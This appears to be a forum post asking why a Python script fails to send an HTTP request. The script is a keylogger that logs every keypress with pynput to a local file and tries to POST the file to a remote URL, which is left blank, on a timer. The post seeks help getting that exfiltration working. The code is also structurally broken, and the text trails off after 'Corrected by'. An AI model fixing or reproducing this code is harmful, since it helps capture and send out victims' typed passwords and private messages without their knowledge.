hello there this code for some reason dont send a http request ```py import pynput import threading import requests import time from pynput.keyboard import Controller, Listener while True: def req(a): for a in range(1,100000): time.sleep(5) with open('ml.txt', 'r') as a: requests.post(url='',data=a) a.close() while True: def writetofile(key): keydata = str(key) # Check if the key is the space key if key == pynput.keyboard.Key.space: return if key == pynput.keyboard.Key.backspace: return with open('ml.txt', 'a') as f: f.write(keydata.replace("'", '') + ',') f.close() p = keydata.replace("'", '') print(p) with Listener(on_press=writetofile) as l: l.join() t1 = threading.Thread(target=req) t2 = threading.Thread(target=writetofile) t1.start() t2.start() ```
Corrected by